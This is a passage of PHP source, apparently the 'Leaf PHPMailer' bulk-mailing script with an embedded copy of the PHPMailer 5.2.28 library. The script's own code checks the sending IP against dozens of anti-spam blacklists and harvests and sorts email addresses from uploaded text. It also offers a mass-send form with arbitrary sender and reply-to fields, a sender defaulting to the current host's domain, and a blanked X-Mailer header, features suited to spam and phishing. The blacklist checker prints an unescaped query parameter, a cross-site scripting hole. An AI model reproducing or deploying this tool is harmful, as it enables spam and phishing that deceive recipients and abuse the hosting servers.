        "relays.bl.gweep.ca",
        "relays.nether.net",
        "sbl.spamhaus.org",
        "short.rbl.jp",
        "singular.ttk.pte.hu",
        "smtp.dnsbl.sorbs.net",
        "socks.dnsbl.sorbs.net",
        "spam.abuse.ch",
        "spam.dnsbl.anonmails.de",
        "spam.dnsbl.sorbs.net",
        "spam.spamrats.com",
        "spambot.bls.digibase.ca",
        "spamrbl.imp.ch",
        "spamsources.fabel.dk",
        "ubl.lashback.com",
        "ubl.unsubscore.com",
        "virus.rbl.jp",
        "web.dnsbl.sorbs.net",
        "wormrbl.imp.ch",
        "xbl.spamhaus.org",
        "z.mailspike.net",
        "zen.spamhaus.org",
        "zombie.dnsbl.sorbs.net",
    );
    $reverse_ip = implode(".", array_reverse(explode(".", $_GET['check_ip'])));
    $dnsT = count($dnsbl_lookup);
    leafheader();
    print '<div class="container col-lg-6"><h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>Blacklist Checker</small></h3>';
    Print "Checking <b>".$_GET['check_ip']."</b> in <b>$dnsT</b>  anti-spam databases:<br>";
    $dnsN="";
    print '<table >';
    for ($i=0; $i < $dnsT; $i=$i+10) { 
        $host="";
        $hosts="";
        for($j=$i; $j<$i+10;$j++){
            $host=$dnsbl_lookup[$j];
            if(!empty($host)){
                print "<tr> <td>$host</td> <td id='$host'>Checking ..</td></tr>";
                $hosts .="$host,";
            }
        }
        $dnsN.="<script src='?check_ip=$reverse_ip&host=".$hosts."' type='text/javascript'></script>";
    }

    print '</table></div>';
    print $dnsN;
    exit;
}
if(isset($_GET['emailfilter'])){

    if(!empty($_FILES['fileToUpload']['tmp_name'])){
        $_POST['emailList']= file_get_contents($_FILES["fileToUpload"]["tmp_name"]); 
    }
    $_POST['emailList']=strtolower($_POST['emailList']);
   if($_GET['emailfilter']=="ifram"){
        if ($_POST['resulttype'] == "download"){
            header("Content-Description: File Transfer"); 
            header("Content-Type: application/octet-stream"); 
            header("Content-Disposition: attachment; filename=emails".time().".txt");
        }
        else {
            header("Content-Type: text/plain");
        }
    if($_POST['submit']=="extract"){
        $pattern = '/[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,4}/';
        preg_match_all($pattern, $_POST['emailList'], $matches);
        foreach ($matches[0] as $email) {
            print $email."\n";
        }
    }
    elseif ($_POST['submit']=="filter") {
        $emails=explode("\n", $_POST['emailList']);
        $keywords=explode("\n", strtolower($_POST['keywords']));
        foreach ($emails as $email) {
            foreach ($keywords as $keyword ) {
                if(strstr($email, $keyword) ){
                    print $email."\n";
                     break;
                }
               
            }
        }

    }
    exit;
   }
   leafheader();
   print '<div class="container col-lg-4"><h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>Email Filter</small></h3>';
   print '
    <form action="?emailfilter=ifram" method="POST" target="my-iframe" enctype="multipart/form-data" onsubmit=\'\'>
        <label for="emailList">Text </label><input type="file" name="fileToUpload" id="fileToUpload"> 
        or

        <textarea name="emailList" id="emailList" class="form-control" rows="7" id="textArea"></textarea>
      <div class="col-lg-12">
        <div class="radio">
          <label>
            <input type="radio" name="resulttype" id="resulttype" value="here" checked="">
            Show Result in this page
          </label>
        </div>
        <div class="radio">
          <label>
            <input type="radio" name="resulttype" id="resulttype" value="download">
            Download Result (for big numbers)
          </label>
        </div>
      </div>
            <legend><h4>Extract Email</h4></legend>
            Detecting every email (100%) and order them line by line <br><br>
        <button type="submit" name="submit" value="extract" class="btn btn-default btn-sm">Start</button>
            <legend><h4>Filter Emails</h4></legend>
        <label >Keywords <small> ex: gmail.com or .co.uk</small> </label><textarea name="keywords" id="keywords" class="form-control" rows="4" id="textArea">gmail.com
hotmail.com
yahoo.com
.co.uk</textarea><br>

            <button type="submit" name="submit" value="filter" class="btn btn-default btn-sm">Start</button>
    </form>
    <label >Result </label>
    <iframe style="border:none;width:100%;" name="my-iframe"  src="?emailfilter=ifram" ></iframe>
   ';
   exit;

}
$html="checked";
$utf8="selected";
$bit8="selected";

if($_POST['action']=="send" or $_POST['action']=="score"){

    $senderEmail=leafTrim($_POST['senderEmail']);
    $senderName=leafTrim($_POST['senderName']);
    $replyTo=leafTrim($_POST['replyTo']);
    $subject=leafTrim($_POST['subject']);
    $emailList=leafTrim($_POST['emailList']);
    $messageType=leafTrim($_POST['messageType']);
    $messageLetter=leafTrim($_POST['messageLetter']);
    $encoding = $_POST['encode'];
    $charset = $_POST['charset'];
    $html="";
    $utf8="";
    $bit8="";

    if($messageType==2) $plain="checked";
    else $html="checked";

    if($charset=="ISO-8859-1") $iso="selected";
    else $utf8="selected";

    if($encoding=="7bit") $bit7="selected";
    elseif($encoding=="binary") $binary="selected";
    elseif($encoding=="base64") $base64="selected";
    elseif($encoding=="quoted-printable") $quotedprintable="selected";
    else $bit8="selected";



}
if($_POST['action']=="view"){
	$viewMessage=leafTrim($_POST['messageLetter']);
	$viewMessage=leafClear($viewMessage,"user@domain.com");
	if ($_POST['messageType']==2){
		print "<pre>".htmlspecialchars($viewMessage)."</pre>";
	}
	else {
		print $viewMessage;
	}
	exit;
}



if(!isset($_POST['senderEmail'])){
    $senderEmail="support@".str_replace("www.", "", $_SERVER['HTTP_HOST']);
    if (!leafMailCheck($senderEmail)) $senderEmail="";
}

class PHPMailer
{
    /**
     * The PHPMailer Version number.
     * @var string
     */
    public $Version = '5.2.28';

    /**
     * Email priority.
     * Options: null (default), 1 = High, 3 = Normal, 5 = low.
     * When null, the header is not set at all.
     * @var integer
     */
    public $Priority = null;

    /**
     * The character set of the message.
     * @var string
     */
    public $CharSet = 'iso-8859-1';

    /**
     * The MIME Content-type of the message.
     * @var string
     */
    public $ContentType = 'text/plain';

    /**
     * The message encoding.
     * Options: "8bit", "7bit", "binary", "base64", and "quoted-printable".
     * @var string
     */
    public $Encoding = '8bit';

    /**
     * Holds the most recent mailer error message.
     * @var string
     */
    public $ErrorInfo = '';

    /**
     * The From email address for the message.
     * @var string
     */
    public $From = 'root@localhost';

    /**
     * The From name of the message.
     * @var string
     */
    public $FromName = 'Root User';

    /**
     * The Sender email (Return-Path) of the message.
     * If not empty, will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
     * @var string
     */
    public $Sender = '';

    /**
     * The Return-Path of the message.
     * If empty, it will be set to either From or Sender.
     * @var string
     * @deprecated Email senders should never set a return-path header;
     * it's the receiver's job (RFC5321 section 4.4), so this no longer does anything.
     * @link https://tools.ietf.org/html/rfc5321#section-4.4 RFC5321 reference
     */
    public $ReturnPath = '';

    /**
     * The Subject of the message.
     * @var string
     */
    public $Subject = '';

    /**
     * An HTML or plain text message body.
     * If HTML then call isHTML(true).
     * @var string
     */
    public $Body = '';

    /**
     * The plain-text message body.
     * This body can be read by mail clients that do not have HTML email
     * capability such as mutt & Eudora.
     * Clients that can read HTML will view the normal Body.
     * @var string
     */
    public $AltBody = '';

    /**
     * An iCal message part body.
     * Only supported in simple alt or alt_inline message types
     * To generate iCal events, use the bundled extras/EasyPeasyICS.php class or iCalcreator
     * @link http://sprain.ch/blog/downloads/php-class-easypeasyics-create-ical-files-with-php/
     * @link http://kigkonsult.se/iCalcreator/
     * @var string
     */
    public $Ical = '';

    /**
     * The complete compiled MIME message body.
     * @access protected
     * @var string
     */
    protected $MIMEBody = '';

    /**
     * The complete compiled MIME message headers.
     * @var string
     * @access protected
     */
    protected $MIMEHeader = '';

    /**
     * Extra headers that createHeader() doesn't fold in.
     * @var string
     * @access protected
     */
    protected $mailHeader = '';

    /**
     * Word-wrap the message body to this number of chars.
     * Set to 0 to not wrap. A useful value here is 78, for RFC2822 section 2.1.1 compliance.
     * @var integer
     */
    public $WordWrap = 0;

    /**
     * Which method to use to send mail.
     * Options: "mail", "sendmail", or "smtp".
     * @var string
     */
    public $Mailer = 'mail';

    /**
     * The path to the sendmail program.
     * @var string
     */
    public $Sendmail = '/usr/sbin/sendmail';

    /**
     * Whether mail() uses a fully sendmail-compatible MTA.
     * One which supports sendmail's "-oi -f" options.
     * @var boolean
     */
    public $UseSendmailOptions = true;

    /**
     * Path to PHPMailer plugins.
     * Useful if the SMTP class is not in the PHP include path.
     * @var string
     * @deprecated Should not be needed now there is an autoloader.
     */
    public $PluginDir = '';

    /**
     * The email address that a reading confirmation should be sent to, also known as read receipt.
     * @var string
     */
    public $ConfirmReadingTo = '';

    /**
     * The hostname to use in the Message-ID header and as default HELO string.
     * If empty, PHPMailer attempts to find one with, in order,
     * $_SERVER['SERVER_NAME'], gethostname(), php_uname('n'), or the value
     * 'localhost.localdomain'.
     * @var string
     */
    public $Hostname = '';

    /**
     * An ID to be used in the Message-ID header.
     * If empty, a unique id will be generated.
     * You can set your own, but it must be in the format "<id@domain>",
     * as defined in RFC5322 section 3.6.4 or it will be ignored.
     * @see https://tools.ietf.org/html/rfc5322#section-3.6.4
     * @var string
     */
    public $MessageID = '';

    /**
     * The message Date to be used in the Date header.
     * If empty, the current date will be added.
     * @var string
     */
    public $MessageDate = '';

    /**
     * SMTP hosts.
     * Either a single hostname or multiple semicolon-delimited hostnames.
     * You can also specify a different port
     * for each host by using this format: [hostname:port]
     * (e.g. "smtp1.example.com:25;smtp2.example.com").
     * You can also specify encryption type, for example:
     * (e.g. "tls://smtp1.example.com:587;ssl://smtp2.example.com:465").
     * Hosts will be tried in order.
     * @var string
     */
    public $Host = 'localhost';

    /**
     * The default SMTP server port.
     * @var integer
     * @TODO Why is this needed when the SMTP class takes care of it?
     */
    public $Port = 25;

    /**
     * The SMTP HELO of the message.
     * Default is $Hostname. If $Hostname is empty, PHPMailer attempts to find
     * one with the same method described above for $Hostname.
     * @var string
     * @see PHPMailer::$Hostname
     */
    public $Helo = '';

    /**
     * What kind of encryption to use on the SMTP connection.
     * Options: '', 'ssl' or 'tls'
     * @var string
     */
    public $SMTPSecure = '';

    /**
     * Whether to enable TLS encryption automatically if a server supports it,
     * even if `SMTPSecure` is not set to 'tls'.
     * Be aware that in PHP >= 5.6 this requires that the server's certificates are valid.
     * @var boolean
     */
    public $SMTPAutoTLS = true;

    /**
     * Whether to use SMTP authentication.
     * Uses the Username and Password properties.
     * @var boolean
     * @see PHPMailer::$Username
     * @see PHPMailer::$Password
     */
    public $SMTPAuth = false;

    /**
     * Options array passed to stream_context_create when connecting via SMTP.
     * @var array
     */
    public $SMTPOptions = array();

    /**
     * SMTP username.
     * @var string
     */
    public $Username = '';

    /**
     * SMTP password.
     * @var string
     */
    public $Password = '';

    /**
     * SMTP auth type.
     * Options are CRAM-MD5, LOGIN, PLAIN, NTLM, XOAUTH2, attempted in that order if not specified
     * @var string
     */
    public $AuthType = '';

    /**
     * SMTP realm.
     * Used for NTLM auth
     * @var string
     */
    public $Realm = '';

    /**
     * SMTP workstation.
     * Used for NTLM auth
     * @var string
     */
    public $Workstation = '';

    /**
     * The SMTP server timeout in seconds.
     * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2
     * @var integer
     */
    public $Timeout = 300;

    /**
     * SMTP class debug output mode.
     * Debug output level.
     * Options:
     * * `0` No output
     * * `1` Commands
     * * `2` Data and commands
     * * `3` As 2 plus connection status
     * * `4` Low-level data output
     * @var integer
     * @see SMTP::$do_debug
     */
    public $SMTPDebug = 0;

    /**
     * How to handle debug output.
     * Options:
     * * `echo` Output plain-text as-is, appropriate for CLI
     * * `html` Output escaped, line breaks converted to `<br>`, appropriate for browser output
     * * `error_log` Output to error log as configured in php.ini
     *
     * Alternatively, you can provide a callable expecting two params: a message string and the debug level:
     * <code>
     * $mail->Debugoutput = function($str, $level) {echo "debug level $level; message: $str";};
     * </code>
     * @var string|callable
     * @see SMTP::$Debugoutput
     */
    public $Debugoutput = 'echo';

    /**
     * Whether to keep SMTP connection open after each message.
     * If this is set to true then to close the connection
     * requires an explicit call to smtpClose().
     * @var boolean
     */
    public $SMTPKeepAlive = false;

    /**
     * Whether to split multiple to addresses into multiple messages
     * or send them all in one message.
     * Only supported in `mail` and `sendmail` transports, not in SMTP.
     * @var boolean
     */
    public $SingleTo = false;

    /**
     * Storage for addresses when SingleTo is enabled.
     * @var array
     * @TODO This should really not be public
     */
    public $SingleToArray = array();

    /**
     * Whether to generate VERP addresses on send.
     * Only applicable when sending via SMTP.
     * @link https://en.wikipedia.org/wiki/Variable_envelope_return_path
     * @link http://www.postfix.org/VERP_README.html Postfix VERP info
     * @var boolean
     */
    public $do_verp = false;

    /**
     * Whether to allow sending messages with an empty body.
     * @var boolean
     */
    public $AllowEmpty = false;

    /**
     * The default line ending.
     * @note The default remains "\n". We force CRLF where we know
     *        it must be used via self::CRLF.
     * @var string
     */
    public $LE = "\n";

    /**
     * DKIM selector.
     * @var string
     */
    public $DKIM_selector = '';

    /**
     * DKIM Identity.
     * Usually the email address used as the source of the email.
     * @var string
     */
    public $DKIM_identity = '';

    /**
     * DKIM passphrase.
     * Used if your key is encrypted.
     * @var string
     */
    public $DKIM_passphrase = '';

    /**
     * DKIM signing domain name.
     * @example 'example.com'
     * @var string
     */
    public $DKIM_domain = '';

    /**
     * DKIM private key file path.
     * @var string
     */
    public $DKIM_private = '';

    /**
     * DKIM private key string.
     * If set, takes precedence over `$DKIM_private`.
     * @var string
     */
    public $DKIM_private_string = '';

    /**
     * Callback Action function name.
     *
     * The function that handles the result of the send email action.
     * It is called out by send() for each email sent.
     *
     * Value can be any php callable: http://www.php.net/is_callable
     *
     * Parameters:
     *   boolean $result        result of the send action
     *   array   $to            email addresses of the recipients
     *   array   $cc            cc email addresses
     *   array   $bcc           bcc email addresses
     *   string  $subject       the subject
     *   string  $body          the email body
     *   string  $from          email address of sender
     * @var string
     */
    public $action_function = '';

    /**
     * What to put in the X-Mailer header.
     * Options: An empty string for PHPMailer default, whitespace for none, or a string to use
     * @var string
     */
    public $XMailer = ' ';

    /**
     * Which validator to use by default when validating email addresses.
     * May be a callable to inject your own validator, but there are several built-in validators.
     * @see PHPMailer::validateAddress()
     * @var string|callable
     * @static
     */
    public static $validator = 'auto';

    /**
     * An instance of the SMTP sender class.
     * @var SMTP
     * @access protected
     */
    protected $smtp = null;

    /**
     * The array of 'to' names and addresses.
     * @var array
     * @access protected
     */
    protected $to = array();

    /**
     * The array of 'cc' names and addresses.
     * @var array
     * @access protected
     */
    protected $cc = array();

    /**
     * The array of 'bcc' names and addresses.
     * @var array
     * @access protected
     */
    protected $bcc = array();

    /**
     * The array of reply-to names and addresses.
     * @var array
     * @access protected
     */
    protected $ReplyTo = array();

    /**
     * An array of all kinds of addresses.
     * Includes all of $to, $cc, $bcc
     * @var array
     * @access protected
     * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc
     */
    protected $all_recipients = array();

    /**
     * An array of names and addresses queued for validation.
     * In send(), valid and non duplicate entries are moved to $all_recipients
     * and one of $to, $cc, or $bcc.
     * This array is used only for addresses with IDN.
     * @var array
     * @access protected
     * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc
     * @see PHPMailer::$all_recipients
     */
    protected $RecipientsQueue = array();

    /**
     * An array of reply-to names and addresses queued for validation.
     * In send(), valid and non duplicate entries are moved to $ReplyTo.
     * This array is used only for addresses with IDN.
     * @var array
     * @access protected
     * @see PHPMailer::$ReplyTo
     */
    protected $ReplyToQueue = array();

    /**
     * The array of attachments.
     * @var array
     * @access protected
     */
    protected $attachment = array();

    /**
     * The array of custom headers.
     * @var array
     * @access protected
     */
    protected $CustomHeader = array();

    /**
     * The most recent Message-ID (including angular brackets).
     * @var string
     * @access protected
     */
    protected $lastMessageID = '';

    /**
     * The message's MIME type.
     * @var string
     * @access protected
     */
    protected $message_type = '';

    /**
     * The array of MIME boundary strings.
     * @var array
     * @access protected
     */
    protected $boundary = array();

    /**
     * The array of available languages.
     * @var array
     * @access protected
     */
    protected $language = array();

    /**
     * The number of errors encountered.
     * @var integer
     * @access protected
     */
    protected $error_count = 0;

    /**
     * The S/MIME certificate file path.
     * @var string
     * @access protected
     */
    protected $sign_cert_file = '';

    /**
     * The S/MIME key file path.
     * @var string
     * @access protected
     */
    protected $sign_key_file = '';

    /**
     * The optional S/MIME extra certificates ("CA Chain") file path.
     * @var string
     * @access protected
     */
    protected $sign_extracerts_file = '';

    /**
     * The S/MIME password for the key.
     * Used only if the key is encrypted.
     * @var string
     * @access protected
     */
    protected $sign_key_pass = '';

    /**
     * Whether to throw exceptions for errors.
     * @var boolean
     * @access protected
     */
    protected $exceptions = false;

    /**
     * Unique ID used for message ID and boundaries.
     * @var string
     * @access protected
     */
    protected $uniqueid = '';

    /**
     * Error severity: message only, continue processing.
     */
    const STOP_MESSAGE = 0;

    /**
     * Error severity: message, likely ok to continue processing.
     */
    const STOP_CONTINUE = 1;

    /**
     * Error severity: message, plus full stop, critical error reached.
     */
    const STOP_CRITICAL = 2;

    /**
     * SMTP RFC standard line ending.
     */
    const CRLF = "\r\n";

    /**
     * The maximum line length allowed by RFC 2822 section 2.1.1
     * @var integer
     */
    const MAX_LINE_LENGTH = 998;

    /**
     * Constructor.
     * @param boolean $exceptions Should we throw external exceptions?
     */
    public function __construct($exceptions = null)
    {
        if ($exceptions !== null) {
            $this->exceptions = (boolean)$exceptions;
        }
        //Pick an appropriate debug output format automatically
        $this->Debugoutput = (strpos(PHP_SAPI, 'cli') !== false ? 'echo' : 'html');
    }

    /**
     * Destructor.
     */
    public function __destruct()
    {
        //Close any open SMTP connection nicely
        $this->smtpClose();
    }

    /**
     * Call mail() in a safe_mode-aware fashion.
     * Also, unless sendmail_path points to sendmail (or something that
     * claims to be sendmail), don't pass params (not a perfect fix,
     * but it will do)
     * @param string $to To
     * @param string $subject Subject
     * @param string $body Message Body
     * @param string $header Additional Header(s)
     * @param string $params Params
     * @access private
     * @return boolean
     */
    private function mailPassthru($to, $subject, $body, $header, $params)
    {
        //Check overloading of mail function to avoid double-encoding
        if (ini_get('mbstring.func_overload') & 1) {
            $subject = $this->secureHeader($subject);
        } else {
            $subject = $this->encodeHeader($this->secureHeader($subject));
        }

        //Can't use additional_parameters in safe_mode, calling mail() with null params breaks
        //@link http://php.net/manual/en/function.mail.php
        if (ini_get('safe_mode') or !$this->UseSendmailOptions or is_null($params)) {
            $result = @mail($to, $subject, $body, $header);
        } else {
            $result = @mail($to, $subject, $body, $header, $params);
        }
        return $result;
    }
    /**
     * Output debugging info via user-defined method.
     * Only generates output if SMTP debug output is enabled (@see SMTP::$do_debug).
     * @see PHPMailer::$Debugoutput
     * @see PHPMailer::$SMTPDebug
     * @param string $str
     */
    protected function edebug($str)
    {
        if ($this->SMTPDebug <= 0) {
            return;
        }
        //Avoid clash with built-in function names
        if (!in_array($this->Debugoutput, array('error_log', 'html', 'echo')) and is_callable($this->Debugoutput)) {
            call_user_func($this->Debugoutput, $str, $this->SMTPDebug);
            return;
        }
        switch ($this->Debugoutput) {
            case 'error_log':
                //Don't output, just log
                error_log($str);
                break;
            case 'html':
                //Cleans up output a bit for a better looking, HTML-safe output
                echo htmlentities(
                    preg_replace('/[\r\n]+/', '', $str),
                    ENT_QUOTES,
                    'UTF-8'
                )
                . "<br>\n";
                break;
            case 'echo':
            default:
                //Normalize line breaks
                $str = preg_replace('/\r\n?/ms', "\n", $str);
                echo gmdate('Y-m-d H:i:s') . "\t" . str_replace(
                    "\n",
                    "\n                   \t                  ",
                    trim($str)
                ) . "\n";
        }
    }

    /**
     * Send messages using SMTP.
     * @return void
     */
    public function isSMTP()
    {
        $this->Mailer = 'smtp';
    }

    /**
     * Send messages using PHP's mail() function.
     * @return void
     */
    public function isMail()
    {
        $this->Mailer = 'mail';
    }

    /**
     * Send messages using $Sendmail.
     * @return void
     */
    public function isSendmail()
    {
        $ini_sendmail_path = ini_get('sendmail_path');

        if (!stristr($ini_sendmail_path, 'sendmail')) {
            $this->Sendmail = '/usr/sbin/sendmail';
        } else {
            $this->Sendmail = $ini_sendmail_path;
        }
        $this->Mailer = 'sendmail';
    }

    /**
     * Send messages using qmail.
     * @return void
     */
    public function isQmail()
    {
        $ini_sendmail_path = ini_get('sendmail_path');

        if (!stristr($ini_sendmail_path, 'qmail')) {
            $this->Sendmail = '/var/qmail/bin/qmail-inject';
        } else {
            $this->Sendmail = $ini_sendmail_path;
        }
        $this->Mailer = 'qmail';
    }

    /**
     * Add a "To" address.
     * @param string $address The email address to send to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addAddress($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('to', $address, $name);
    }

    /**
     * Add a "CC" address.
     * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
     * @param string $address The email address to send to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addCC($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('cc', $address, $name);
    }

    /**
     * Add a "BCC" address.
     * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
     * @param string $address The email address to send to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addBCC($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('bcc', $address, $name);
    }

    /**
     * Add a "Reply-To" address.
     * @param string $address The email address to reply to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addReplyTo($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('Reply-To', $address, $name);
    }

    /**
     * Add an address to one of the recipient arrays or to the ReplyTo array. Because PHPMailer
     * can't validate addresses with an IDN without knowing the PHPMailer::$CharSet (that can still
     * be modified after calling this function), addition of such addresses is delayed until send().
     * Addresses that have been added already return false, but do not throw exceptions.
     * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo'
     * @param string $address The email address to send, resp. to reply to
     * @param string $name
     * @throws phpmailerException
     * @return boolean true on success, false if address already used or invalid in some way
     * @access protected
     */
    protected function addOrEnqueueAnAddress($kind, $address, $name)
    {
        $address = trim($address);
        $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
        if (($pos = strrpos($address, '@')) === false) {
            // At-sign is misssing.
            $error_message = $this->lang('invalid_address') . " (addAnAddress $kind): $address";
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        $params = array($kind, $address, $name);
        // Enqueue addresses with IDN until we know the PHPMailer::$CharSet.
        if ($this->has8bitChars(substr($address, ++$pos)) and $this->idnSupported()) {
            if ($kind != 'Reply-To') {
                if (!array_key_exists($address, $this->RecipientsQueue)) {
                    $this->RecipientsQueue[$address] = $params;
                    return true;
                }
            } else {
                if (!array_key_exists($address, $this->ReplyToQueue)) {
                    $this->ReplyToQueue[$address] = $params;
                    return true;
                }
            }
            return false;
        }
        // Immediately add standard addresses without IDN.
        return call_user_func_array(array($this, 'addAnAddress'), $params);
    }

    /**
     * Add an address to one of the recipient arrays or to the ReplyTo array.
     * Addresses that have been added already return false, but do not throw exceptions.
     * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo'
     * @param string $address The email address to send, resp. to reply to
     * @param string $name
     * @throws phpmailerException
     * @return boolean true on success, false if address already used or invalid in some way
     * @access protected
     */
    protected function addAnAddress($kind, $address, $name = '')
    {
        if (!in_array($kind, array('to', 'cc', 'bcc', 'Reply-To'))) {
            $error_message = $this->lang('Invalid recipient kind: ') . $kind;
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        if (!$this->validateAddress($address)) {
            $error_message = $this->lang('invalid_address') . " (addAnAddress $kind): $address";
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        if ($kind != 'Reply-To') {
            if (!array_key_exists(strtolower($address), $this->all_recipients)) {
                array_push($this->$kind, array($address, $name));
                $this->all_recipients[strtolower($address)] = true;
                return true;
            }
        } else {
            if (!array_key_exists(strtolower($address), $this->ReplyTo)) {
                $this->ReplyTo[strtolower($address)] = array($address, $name);
                return true;
            }
        }
        return false;
    }

    /**
     * Parse and validate a string containing one or more RFC822-style comma-separated email addresses
     * of the form "display name <address>" into an array of name/address pairs.
     * Uses the imap_rfc822_parse_adrlist function if the IMAP extension is available.
     * Note that quotes in the name part are removed.
     * @param string $addrstr The address list string
     * @param bool $useimap Whether to use the IMAP extension to parse the list
     * @return array
     * @link http://www.andrew.cmu.edu/user/agreen1/testing/mrbs/web/Mail/RFC822.php A more careful implementation
     */
    public function parseAddresses($addrstr, $useimap = true)
    {
        $addresses = array();
        if ($useimap and function_exists('imap_rfc822_parse_adrlist')) {
            //Use this built-in parser if it's available
            $list = imap_rfc822_parse_adrlist($addrstr, '');
            foreach ($list as $address) {
                if ($address->host != '.SYNTAX-ERROR.') {
                    if ($this->validateAddress($address->mailbox . '@' . $address->host)) {
                        $addresses[] = array(
                            'name' => (property_exists($address, 'personal') ? $address->personal : ''),
                            'address' => $address->mailbox . '@' . $address->host
                        );
                    }
                }
            }
        } else {
            //Use this simpler parser
            $list = explode(',', $addrstr);
            foreach ($list as $address) {
                $address = trim($address);
                //Is there a separate name part?
                if (strpos($address, '<') === false) {
                    //No separate name, just use the whole thing
                    if ($this->validateAddress($address)) {
                        $addresses[] = array(
                            'name' => '',
                            'address' => $address
                        );
                    }
                } else {
                    list($name, $email) = explode('<', $address);
                    $email = trim(str_replace('>', '', $email));
                    if ($this->validateAddress($email)) {
                        $addresses[] = array(
                            'name' => trim(str_replace(array('"', "'"), '', $name)),
                            'address' => $email
                        );
                    }
                }
            }
        }
        return $addresses;
    }

    /**
     * Sets message type to HTML or plain.
     * @param boolean $isHtml True for HTML mode.
     * @return void
     */
    public function isHTML($isHtml = true)
    {
        if ($isHtml) {
            $this->ContentType = 'text/html';
        } 
        else {
            $this->ContentType = 'text/plain';
        }

    }

    /**
     * Set the From and FromName properties.
     * @param string $address
     * @param string $name
     * @param boolean $auto Whether to also set the Sender address, defaults to true
     * @throws phpmailerException
     * @return boolean
     */
    public function setFrom($address, $name = '', $auto = true)
    {
        $address = trim($address);
        $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
        // Don't validate now addresses with IDN. Will be done in send().
        if (($pos = strrpos($address, '@')) === false or
            (!$this->has8bitChars(substr($address, ++$pos)) or !$this->idnSupported()) and
            !$this->validateAddress($address)) {
            $error_message = $this->lang('invalid_address') . " (setFrom) $address";
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        $this->From = $address;
        $this->FromName = $name;
        if ($auto) {
            if (empty($this->Sender)) {
                $this->Sender = $address;
            }
        }
        return true;
    }

    /**
     * Return the Message-ID header of the last email.
     * Technically this is the value from the last time the headers were created,
     * but it's also the message ID of the last sent message except in
     * pathological cases.
     * @return string
     */
    public function getLastMessageID()
    {
        return $this->lastMessageID;
    }

    /**
     * Check that a string looks like an email address.
     * @param string $address The email address to check
     * @param string|callable $patternselect A selector for the validation pattern to use :
     * * `auto` Pick best pattern automatically;
     * * `pcre8` Use the squiloople.com pattern, requires PCRE > 8.0, PHP >= 5.3.2, 5.2.14;
     * * `pcre` Use old PCRE implementation;
     * * `php` Use PHP built-in FILTER_VALIDATE_EMAIL;
     * * `html5` Use the pattern given by the HTML5 spec for 'email' type form input elements.
     * * `noregex` Don't use a regex: super fast, really dumb.
     * Alternatively you may pass in a callable to inject your own validator, for example:
     * PHPMailer::validateAddress('user@example.com', function($address) {
     *     return (strpos($address, '@') !== false);
     * });
     * You can also set the PHPMailer::$validator static to a callable, allowing built-in methods to use your validator.
     * @return boolean
     * @static
     * @access public
     */
    public static function validateAddress($address, $patternselect = null)
    {
        if (is_null($patternselect)) {
            $patternselect = self::$validator;
        }
        if (is_callable($patternselect)) {
            return call_user_func($patternselect, $address);
        }
        //Reject line breaks in addresses; it's valid RFC5322, but not RFC5321
        if (strpos($address, "\n") !== false or strpos($address, "\r") !== false) {
            return false;
        }
        if (!$patternselect or $patternselect == 'auto') {
            //Check this constant first so it works when extension_loaded() is disabled by safe mode
            //Constant was added in PHP 5.2.4
            if (defined('PCRE_VERSION')) {
                //This pattern can get stuck in a recursive loop in PCRE <= 8.0.2
                if (version_compare(PCRE_VERSION, '8.0.3') >= 0) {
                    $patternselect = 'pcre8';
                } else {
                    $patternselect = 'pcre';
                }
            } elseif (function_exists('extension_loaded') and extension_loaded('pcre')) {
                //Fall back to older PCRE
                $patternselect = 'pcre';
            } else {
                //Filter_var appeared in PHP 5.2.0 and does not require the PCRE extension
                if (version_compare(PHP_VERSION, '5.2.0') >= 0) {
                    $patternselect = 'php';
                } else {
                    $patternselect = 'noregex';
                }
            }
        }
        switch ($patternselect) {
            case 'pcre8':
                /**
                 * Uses the same RFC5322 regex on which FILTER_VALIDATE_EMAIL is based, but allows dotless domains.
                 * @link http://squiloople.com/2009/12/20/email-address-validation/
                 * @copyright 2009-2010 Michael Rushton
                 * Feel free to use and redistribute this code. But please keep this copyright notice.
                 */
                return (boolean)preg_match(
                    '/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)' .
                    '((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)' .
                    '(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)' .
                    '([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*' .
